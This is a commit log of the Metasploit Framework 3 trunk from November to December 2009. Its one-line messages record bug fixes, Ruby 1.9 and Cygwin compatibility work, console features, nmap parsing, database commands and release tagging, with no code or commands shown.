0da80965d6
more info about a job, thanks Ryan Linn for the patch; fixes #586
...
git-svn-id: file:///home/svn/framework3/trunk@7665 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-01 23:11:12 +00:00
b486654975
nothing actually uses the zip library, ripping it out. fixes 591
...
git-svn-id: file:///home/svn/framework3/trunk@7663 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-01 22:34:45 +00:00
c2fac74ae2
make irb more useful by eliding unnecessary stuff from framework.inspect
...
git-svn-id: file:///home/svn/framework3/trunk@7662 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-01 21:42:14 +00:00
e73842251e
add a kill command and clean up tabbing for jobs
...
git-svn-id: file:///home/svn/framework3/trunk@7659 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-01 18:24:11 +00:00
b7addee664
Release cut, back to 3.4-dev
...
git-svn-id: file:///home/svn/framework3/trunk@7656 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-01 03:57:09 +00:00
cae9880c28
Tag this as 3.3.1-release
...
git-svn-id: file:///home/svn/framework3/trunk@7654 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-01 03:08:48 +00:00
125f0aab0a
map any attempt to log to an unknown logsink to the core logsink, fixes 577
...
git-svn-id: file:///home/svn/framework3/trunk@7653 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 22:03:53 +00:00
ed7b7ac6f0
Fixes #491 and fixes #543 by updating the HTTP stack and validating configuration options
...
git-svn-id: file:///home/svn/framework3/trunk@7652 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 21:15:06 +00:00
1189ac1dcd
Updates to the PE class to support TLS/Exceptions
...
git-svn-id: file:///home/svn/framework3/trunk@7651 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 20:18:37 +00:00
c72ec65474
Tag this as 3.3.1-dev until we cut 3.3.1-release, then back to 3.4-dev
...
git-svn-id: file:///home/svn/framework3/trunk@7650 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 20:17:55 +00:00
b8804e48cd
Add (incomplete) support for TLS callbacks
...
git-svn-id: file:///home/svn/framework3/trunk@7648 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 19:48:35 +00:00
38c8714db1
Fixes #585 . Klunky right now but well tested
...
git-svn-id: file:///home/svn/framework3/trunk@7647 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 19:24:47 +00:00
53e9907a7d
remove reports record
...
git-svn-id: file:///home/svn/framework3/trunk@7644 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 03:23:38 +00:00
05733b9d8d
Correct tab indention
...
git-svn-id: file:///home/svn/framework3/trunk@7642 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-29 23:36:40 +00:00
bfe2cc0c53
Force stale connections to be freed, fixes #513 .
...
git-svn-id: file:///home/svn/framework3/trunk@7641 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-29 17:17:24 +00:00
b0c68d3fd2
Faster DLL reading (ruby will yield to background threads on 4k blocks otherwise)
...
git-svn-id: file:///home/svn/framework3/trunk@7639 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-29 04:23:33 +00:00
63b6cf1713
Remove unused libraries from the tree
...
git-svn-id: file:///home/svn/framework3/trunk@7637 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-28 22:56:40 +00:00
3ef0987aae
Remove unused libraries (packetfu will be re-integrated when the next rev is done)
...
git-svn-id: file:///home/svn/framework3/trunk@7634 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-28 22:48:36 +00:00
ff93072d1e
Fixes #578 . Only register a new meterpreter sink if one doesnt already exist
...
git-svn-id: file:///home/svn/framework3/trunk@7632 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-28 16:34:46 +00:00
9d2ab30f9d
create the history file if it doesn't exist
...
git-svn-id: file:///home/svn/framework3/trunk@7627 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-26 07:13:21 +00:00
d6a732d619
move histfile reading into rex
...
git-svn-id: file:///home/svn/framework3/trunk@7625 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-26 06:03:05 +00:00
3412a38146
register a 'meterpreter' logsink
...
git-svn-id: file:///home/svn/framework3/trunk@7622 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-26 02:46:04 +00:00
fd61df4e9e
add full support for persistent history, works in msfweb as well. fixes #523
...
git-svn-id: file:///home/svn/framework3/trunk@7621 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-26 02:18:02 +00:00
1b4aa0380b
read in a history file. beginnings of persistent history. see #523
...
git-svn-id: file:///home/svn/framework3/trunk@7620 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-26 01:01:27 +00:00
723aa65df0
refuse to migrate into the current process. fixes #418
...
git-svn-id: file:///home/svn/framework3/trunk@7618 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 23:24:01 +00:00
f3006f78c9
Fix up handling of service-less vulnerabilities
...
git-svn-id: file:///home/svn/framework3/trunk@7612 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 18:03:25 +00:00
6bd2e7f5b4
dup http resource so modules don't inadvertantly modify it
...
git-svn-id: file:///home/svn/framework3/trunk@7608 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:45:14 +00:00
70d5e219e4
Additional reporting methods removed
...
git-svn-id: file:///home/svn/framework3/trunk@7607 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:20:21 +00:00
252cdcfb92
Removing unnecesary reporting methods
...
git-svn-id: file:///home/svn/framework3/trunk@7606 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:11:52 +00:00
5b81d85447
Replaced reporting to use notes
...
git-svn-id: file:///home/svn/framework3/trunk@7605 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 06:08:28 +00:00
b460843929
Fixes #574 . Uses compatible_payloads as the initial list for finding a match
...
git-svn-id: file:///home/svn/framework3/trunk@7604 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 02:24:41 +00:00
49b6111dbc
Correctly print vulnerability references when there is no associated service
...
git-svn-id: file:///home/svn/framework3/trunk@7600 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-25 01:44:55 +00:00
d5e09a90e2
add minver and maxver options and prepare for universal module ranking
...
git-svn-id: file:///home/svn/framework3/trunk@7598 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 21:40:02 +00:00
3796cf3865
Fixes #567 , hands the case where the svn directories were moved
...
git-svn-id: file:///home/svn/framework3/trunk@7593 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 12:47:05 +00:00
e354c8dbcc
Multiple headers handling bug fixes
...
git-svn-id: file:///home/svn/framework3/trunk@7588 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 05:27:11 +00:00
f8d84a7dc9
prevent loading the same dispatcher multiple times. fixes #560
...
git-svn-id: file:///home/svn/framework3/trunk@7587 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-24 01:07:19 +00:00
a3d4e1c44a
Added command to launch msfproxy from console
...
git-svn-id: file:///home/svn/framework3/trunk@7584 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-23 03:38:05 +00:00
6e7c4a77a9
add detection for ie6 on xpsp2
...
git-svn-id: file:///home/svn/framework3/trunk@7572 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-20 06:08:09 +00:00
3b6126bfd9
actually commit what i said i was committing. =(
...
git-svn-id: file:///home/svn/framework3/trunk@7567 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 06:35:44 +00:00
14a0040b8a
move nmap xml parsing into Rex::Parser; add a test to make sure it works
...
git-svn-id: file:///home/svn/framework3/trunk@7566 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 06:15:45 +00:00
f327418804
Fixes #553 . Adds a timeout for all FTP commands and removes the unbounded fd.get
...
git-svn-id: file:///home/svn/framework3/trunk@7564 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 03:04:25 +00:00
56f0ef00e6
fix pad handling
...
git-svn-id: file:///home/svn/framework3/trunk@7562 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-18 00:50:44 +00:00
0ebff0e5ea
allow target override
...
git-svn-id: file:///home/svn/framework3/trunk@7559 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 23:30:17 +00:00
dd62aa6a98
add format string exploit mixin
...
git-svn-id: file:///home/svn/framework3/trunk@7558 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 22:29:43 +00:00
98c60be1f1
rough cut at some format string support
...
git-svn-id: file:///home/svn/framework3/trunk@7556 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 22:14:44 +00:00
4b9a54a2f6
Fixes #529 by correcting the variable name
...
git-svn-id: file:///home/svn/framework3/trunk@7555 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 12:45:34 +00:00
e88ef79af8
And here we go again...
...
git-svn-id: file:///home/svn/framework3/trunk@7554 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 04:01:10 +00:00
c7712d45d6
Mark this as 3.3-release, hopefully this is the last commit before 3.4-dev starts
...
git-svn-id: file:///home/svn/framework3/trunk@7551 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-17 00:06:44 +00:00
a92fbb1ff4
Fixes #526 . Correct socket name and call to super in the socket output io
...
git-svn-id: file:///home/svn/framework3/trunk@7548 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 23:35:34 +00:00
9b1935eb2a
Fixes #522 . Allow RHOSTS to contain hostnames with dashes
...
git-svn-id: file:///home/svn/framework3/trunk@7547 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 23:20:59 +00:00
dc0dc98771
Fixes #517 . Disables meterpreter stages for passivex stagers
...
git-svn-id: file:///home/svn/framework3/trunk@7546 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 22:45:33 +00:00
d8b9e030e3
really fixed, test case: "db_create/db_nmap -P"
...
git-svn-id: file:///home/svn/framework3/trunk@7543 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 19:13:33 +00:00
6d18c6dd53
bugfix for NMAP failure, test case: "db_nmap -P"
...
git-svn-id: file:///home/svn/framework3/trunk@7542 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 19:06:42 +00:00
36921e6d4b
fix a bug where a failed encoder would try to convert nil to Integer. see #519
...
git-svn-id: file:///home/svn/framework3/trunk@7540 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:57:04 +00:00
3f811a801e
Fixes #509 . Fix the last shadowed var issue, the rest dont seem significant
...
git-svn-id: file:///home/svn/framework3/trunk@7537 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:34:08 +00:00
0251f21dc9
See #509
...
git-svn-id: file:///home/svn/framework3/trunk@7536 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:30:07 +00:00
58711ec7ad
See #509
...
git-svn-id: file:///home/svn/framework3/trunk@7535 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 18:28:45 +00:00
8cadfe66cf
Mostly cosmetic
...
git-svn-id: file:///home/svn/framework3/trunk@7530 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 15:16:08 +00:00
ba5da501bf
Log the exploit name when the module raises an exception, helps track down bugs during automation
...
git-svn-id: file:///home/svn/framework3/trunk@7529 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 15:08:58 +00:00
5c39fd102a
Tag this a rc1, one more big bug shakeout
...
git-svn-id: file:///home/svn/framework3/trunk@7526 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 03:30:16 +00:00
d67cb3cdde
Really fixes #464
...
git-svn-id: file:///home/svn/framework3/trunk@7525 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 02:52:23 +00:00
ba9f7b41b3
Fix save() again
...
git-svn-id: file:///home/svn/framework3/trunk@7524 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 02:48:00 +00:00
1ad262a53e
Fixes #464 by using the correct logic to only save user defined variables and to reset default options after a register_*_options call by a mixin
...
git-svn-id: file:///home/svn/framework3/trunk@7523 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-16 02:39:08 +00:00
18ba91cebc
Adds the find/save wrapper back, it seems to help a little, but doesn't solve all cases. See #514
...
git-svn-id: file:///home/svn/framework3/trunk@7517 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-14 22:11:53 +00:00
291aad8cc1
Fixes #516 and fixes #515 . This patch makes database support a little more user-friendly. The db commands now accept -h and --help, the db_drivers command will indicate how to install support for a given database, the db_create/db_destroy commands will indicate what tools are required to use them, and the postgres driver will now roperly handle sameuser authentication over a unix domain socket with postgres-pr
...
git-svn-id: file:///home/svn/framework3/trunk@7516 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-14 21:41:38 +00:00
e296ec92ea
more uninitalized var warnings
...
git-svn-id: file:///home/svn/framework3/trunk@7513 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-14 06:21:22 +00:00
d3d406f405
more unitialized goodness
...
git-svn-id: file:///home/svn/framework3/trunk@7501 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 23:53:17 +00:00
f011c7d580
rc1 -> testing
...
git-svn-id: file:///home/svn/framework3/trunk@7498 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:52:29 +00:00
eabfff5aca
Adds the last updated date to the output
...
git-svn-id: file:///home/svn/framework3/trunk@7497 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:50:12 +00:00
a3c020fef2
more uninitialized var warnings
...
git-svn-id: file:///home/svn/framework3/trunk@7495 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:11:52 +00:00
8471baa62a
fix another uninitialized class var warning
...
git-svn-id: file:///home/svn/framework3/trunk@7494 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 22:00:16 +00:00
80ee6157ed
fix a few warnings
...
git-svn-id: file:///home/svn/framework3/trunk@7492 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 20:28:36 +00:00
b762ca5ece
fix '@initialized not initialized' warning
...
git-svn-id: file:///home/svn/framework3/trunk@7489 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-13 17:31:57 +00:00
8c28c38da3
remove busted unit test
...
git-svn-id: file:///home/svn/framework3/trunk@7482 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-12 19:49:35 +00:00
500eb85a58
Fix a typo in ^L support
...
git-svn-id: file:///home/svn/framework3/trunk@7476 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-12 06:31:50 +00:00
8c65a0f48c
Handle interrupts without showing a backtrace
...
git-svn-id: file:///home/svn/framework3/trunk@7473 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-12 05:56:52 +00:00
62470e47a7
Skip closed/filtered ports when db_autopwning
...
git-svn-id: file:///home/svn/framework3/trunk@7462 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:58:08 +00:00
c7967e00d7
handle both 'open' and 'up' for port state in db_services
...
git-svn-id: file:///home/svn/framework3/trunk@7460 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:29:44 +00:00
029d0bae47
save the port state regardless of whether we know the name
...
git-svn-id: file:///home/svn/framework3/trunk@7459 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:22:03 +00:00
73a0ef8b64
actually save port state
...
git-svn-id: file:///home/svn/framework3/trunk@7458 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-11 00:16:52 +00:00
78c88c888f
don't backtrace just because the client cancelled
...
git-svn-id: file:///home/svn/framework3/trunk@7453 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 19:38:18 +00:00
7e177962bf
tell the user what port we're listening on
...
git-svn-id: file:///home/svn/framework3/trunk@7452 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 17:39:51 +00:00
b64d12c846
sort jobs numerically
...
git-svn-id: file:///home/svn/framework3/trunk@7451 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 17:16:49 +00:00
3dfaf32bc8
trying out bold colors
...
git-svn-id: file:///home/svn/framework3/trunk@7450 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 16:49:26 +00:00
2cbb32550c
fix meterp sessions getting initialized improperly, fix msf> prompt in exploit context after color cmd
...
git-svn-id: file:///home/svn/framework3/trunk@7449 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 16:10:39 +00:00
2c3cace80c
Fix up the classes needed by msfweb. Fixes #495
...
git-svn-id: file:///home/svn/framework3/trunk@7447 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:59:49 +00:00
3628a3d3c6
fix sessions breaking right away when interacting. command dispatcher still appears to be hosed
...
git-svn-id: file:///home/svn/framework3/trunk@7446 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:55:42 +00:00
3db9bbfaae
See #493 . Initialize the prompt
...
git-svn-id: file:///home/svn/framework3/trunk@7445 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:33:14 +00:00
69dbb7b4b0
Address some of #493
...
git-svn-id: file:///home/svn/framework3/trunk@7444 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 15:26:40 +00:00
daf58b6deb
get rid of the single-character escapes so we're less likely to see accidental color substitutions
...
git-svn-id: file:///home/svn/framework3/trunk@7443 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 07:12:56 +00:00
fd4e4154cd
add a new 'color' command that lets the user force color on or off.
...
git-svn-id: file:///home/svn/framework3/trunk@7442 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 06:58:01 +00:00
a8d9da0d3d
initial color support. will add ability to change colors from console soon. see #344
...
git-svn-id: file:///home/svn/framework3/trunk@7440 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 03:27:48 +00:00
2bec0701a7
Fixes a crash on startup when no svn directories are present
...
git-svn-id: file:///home/svn/framework3/trunk@7438 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-10 03:05:12 +00:00
acea0f87fb
Correct the formatting of the old age warning. Obviously nobody would have seen this for another 5 days :)
...
git-svn-id: file:///home/svn/framework3/trunk@7436 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 23:45:21 +00:00
e73d4ead7f
handle a broken socket gracefully, fixes a backtrace in msfd
...
git-svn-id: file:///home/svn/framework3/trunk@7432 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 20:10:53 +00:00
9f2845dcaf
Add channel support back in, patch from dragorn
...
git-svn-id: file:///home/svn/framework3/trunk@7430 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 19:52:18 +00:00
493f56be57
https://metasploit.com/redmine/issues/430
...
Change this line so that 0xf0 is now used as an xor base
git-svn-id: file:///home/svn/framework3/trunk@7428 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 18:47:46 +00:00
7007a80c13
make the vbs generation a little faster and the generated file a little smaller
...
git-svn-id: file:///home/svn/framework3/trunk@7427 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 18:32:03 +00:00
95d9f5e676
raise instead of exit
...
git-svn-id: file:///home/svn/framework3/trunk@7426 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 18:27:30 +00:00
927fe6b6c2
update pattern_offset to show all ocurrences
...
git-svn-id: file:///home/svn/framework3/trunk@7425 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 17:50:53 +00:00
c372c68f48
fix whitespace
...
git-svn-id: file:///home/svn/framework3/trunk@7423 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 06:19:59 +00:00
3853073731
Fixes #489 . Change this a bit to be proper syntax
...
git-svn-id: file:///home/svn/framework3/trunk@7422 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 06:16:29 +00:00
07cfae0f14
added myself to author.rb
...
git-svn-id: file:///home/svn/framework3/trunk@7420 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 04:45:22 +00:00
d29f6e17dc
Fixes #486 . Add the Revision constant abck
...
git-svn-id: file:///home/svn/framework3/trunk@7416 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 03:22:24 +00:00
5581f5a73b
Parse SVN information and warns folks with out of date installations
...
git-svn-id: file:///home/svn/framework3/trunk@7415 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 01:50:44 +00:00
176e999f08
Merge patches from Ryan Linn. Fixes #438
...
git-svn-id: file:///home/svn/framework3/trunk@7413 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:33:40 +00:00
dbde29521c
Minor typo fixed
...
git-svn-id: file:///home/svn/framework3/trunk@7412 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:15:54 +00:00
6885ffa48f
Improvements to the SSL TCP Server mixin
...
git-svn-id: file:///home/svn/framework3/trunk@7409 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:13:25 +00:00
e92a193f8c
Correct a typo
...
git-svn-id: file:///home/svn/framework3/trunk@7408 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 00:11:47 +00:00
1b7fb68f52
More useful error when given invalid register name, fix error message to be consistent with code when offset is too large
...
git-svn-id: file:///home/svn/framework3/trunk@7407 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-08 19:42:58 +00:00
06372f3c40
See #430 . This adds the AllowWin32SEH option to the upper/mixed alphanumeric encoders, providing 100% alphanumeric payloads for Windows platforms
...
git-svn-id: file:///home/svn/framework3/trunk@7405 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-08 00:45:51 +00:00
d09d151f31
Disable stager + single chaining, it causes confusion and often breaks.
...
git-svn-id: file:///home/svn/framework3/trunk@7400 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-07 22:13:04 +00:00
7b832b9d3e
Wmap checking for vulnerabilities and launching exploits
...
git-svn-id: file:///home/svn/framework3/trunk@7399 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-07 21:55:33 +00:00
0fe06c614f
Fixes #473 . Import Sussaro's patch (wee!)
...
git-svn-id: file:///home/svn/framework3/trunk@7395 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 21:08:34 +00:00
cae79f8b3b
Add a comment describing the extension
...
git-svn-id: file:///home/svn/framework3/trunk@7394 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 21:00:13 +00:00
836624570b
Disabling unfinished ESPIA commands
...
git-svn-id: file:///home/svn/framework3/trunk@7393 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:58:57 +00:00
d82d687ea6
Fixes #478 . Handles the screenshot command better, defaults to a random bmp
...
git-svn-id: file:///home/svn/framework3/trunk@7392 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:58:24 +00:00
c5ace6ef28
Use the open_file API
...
git-svn-id: file:///home/svn/framework3/trunk@7391 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:47:45 +00:00
5d129bdb53
Add open_file() to work around url vs file handling issues on cygwin
...
git-svn-id: file:///home/svn/framework3/trunk@7390 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:43:00 +00:00
1dad276f58
...and back again. Looks like cygwin / 1.9.1 DL is a little different
...
git-svn-id: file:///home/svn/framework3/trunk@7389 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:28:25 +00:00
1a280c3a0a
Switch to shell open
...
git-svn-id: file:///home/svn/framework3/trunk@7388 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:26:05 +00:00
1bb29e2835
See #478 . Handle cygwin better for open url
...
git-svn-id: file:///home/svn/framework3/trunk@7387 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:22:28 +00:00
948e1ba5e9
Dont repeat the stdout
...
git-svn-id: file:///home/svn/framework3/trunk@7386 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 20:15:12 +00:00
0cc3db65be
This works but stdout needs to be hidden
...
git-svn-id: file:///home/svn/framework3/trunk@7385 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:43:13 +00:00
dc2c355703
Use nmap without the absolute path... Cygwin is annoying.
...
git-svn-id: file:///home/svn/framework3/trunk@7384 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:32:13 +00:00
f985349a26
Place all arguments in quotes
...
git-svn-id: file:///home/svn/framework3/trunk@7383 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:30:25 +00:00
bf0e856c1f
Trying a different approach - buffing output to a file and using system to overcome bugs in IO.popen on Cygwin
...
git-svn-id: file:///home/svn/framework3/trunk@7382 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:27:28 +00:00
55b5b828f2
Use the relative path to nmap
...
git-svn-id: file:///home/svn/framework3/trunk@7381 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:15:26 +00:00
1c51182b39
One more shot
...
git-svn-id: file:///home/svn/framework3/trunk@7380 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:12:19 +00:00
5de9a090a9
Another attempt at correct path translation
...
git-svn-id: file:///home/svn/framework3/trunk@7379 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 17:09:31 +00:00
adf5b531eb
make sure the address type is IP (not mac). fixes #476
...
git-svn-id: file:///home/svn/framework3/trunk@7378 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:44:02 +00:00
0604fbfd71
Workaround broken cygpath behavior with the cygwin path contains 8.3 names
...
git-svn-id: file:///home/svn/framework3/trunk@7377 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:43:14 +00:00
43edce7db8
Correct implementation (any instance of cygdrive in the path indicates a file outside the environment)
...
git-svn-id: file:///home/svn/framework3/trunk@7376 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:03:40 +00:00
4fde76e8f6
Expand to a windows path if the exe is outside of the cygwin installation
...
git-svn-id: file:///home/svn/framework3/trunk@7375 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:01:24 +00:00
48fb445609
Fixes #446 . Oddly enough, stty on cygwin uses term escapes in stderr as well as stdout to set the console mode. This is going to reopen #426 (errors when stdin isnt a tty). A better solution for #426 is going to be checking for stdin = terminal and ignoring readline entirely
...
git-svn-id: file:///home/svn/framework3/trunk@7374 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 15:27:13 +00:00
df2f2c0711
typo
...
git-svn-id: file:///home/svn/framework3/trunk@7369 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 21:23:28 +00:00
e3e2d01fd2
parse nmap xml with a stream parser instead of a tree parser. fixes #251 , i hope
...
git-svn-id: file:///home/svn/framework3/trunk@7368 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 20:26:28 +00:00
566234bcb1
Import Max's VBA2EXE code
...
git-svn-id: file:///home/svn/framework3/trunk@7364 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 02:48:56 +00:00
8309599ca3
Fixes #463 . Missing a return value in exe.rb and missing a default format in msfencode
...
git-svn-id: file:///home/svn/framework3/trunk@7357 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 21:30:00 +00:00
34d76a72e0
Fixes #462 . Handle proxy errors like regular socket errors. This can lead to missing results in tests, so we may need to add special proxy exception checks to the scanner mixin
...
git-svn-id: file:///home/svn/framework3/trunk@7352 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 16:36:06 +00:00
45391a9ba9
Fixes byte vs char handling on Ruby 1.9.1, partial solution for see #430 .
...
git-svn-id: file:///home/svn/framework3/trunk@7349 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 05:31:54 +00:00
58ac7efcfa
Fixes #457 . Oddly enough, it was the nop sled garbling registers
...
git-svn-id: file:///home/svn/framework3/trunk@7342 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 23:50:32 +00:00
70bb99b0df
Fixes #458 . Break VBS lines into shorter ones
...
git-svn-id: file:///home/svn/framework3/trunk@7339 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:31:28 +00:00
785ab0921d
Clean up argument passing, cosmetic
...
git-svn-id: file:///home/svn/framework3/trunk@7338 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:00:43 +00:00
83fece42fe
Handle HTTP failures more gracefully
...
git-svn-id: file:///home/svn/framework3/trunk@7335 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 18:10:09 +00:00
737dc327a3
Fixes #435 . Resolves a long-standing issue where datastore entries with a default of 'false' were being ignored.
...
git-svn-id: file:///home/svn/framework3/trunk@7334 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 18:09:05 +00:00
7da02115c6
Fixes #453 - 'spoof' the real readline to prevent future requires from loading it
...
git-svn-id: file:///home/svn/framework3/trunk@7327 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 20:18:49 +00:00
1b5cc24eab
See #434 . Some libraries used the wrong exception class
...
git-svn-id: file:///home/svn/framework3/trunk@7325 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 18:20:02 +00:00
075b8c5fa4
Fixes #434 . Always use Timeout.timeout() -- on Ruby 1.9 this results in the Timeout::TimeoutError exception vs RuntimeError
...
git-svn-id: file:///home/svn/framework3/trunk@7323 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 18:14:57 +00:00
176996fe61
Fixes #452 . Solves a number of crashes caused by Regexp.new() on 1.9 without an explicit language specified
...
git-svn-id: file:///home/svn/framework3/trunk@7320 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 17:09:13 +00:00
c0a0507fdf
Fixes #441 . Unpack the version in a way that works with 1.9
...
git-svn-id: file:///home/svn/framework3/trunk@7319 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 15:09:54 +00:00
f13903f39b
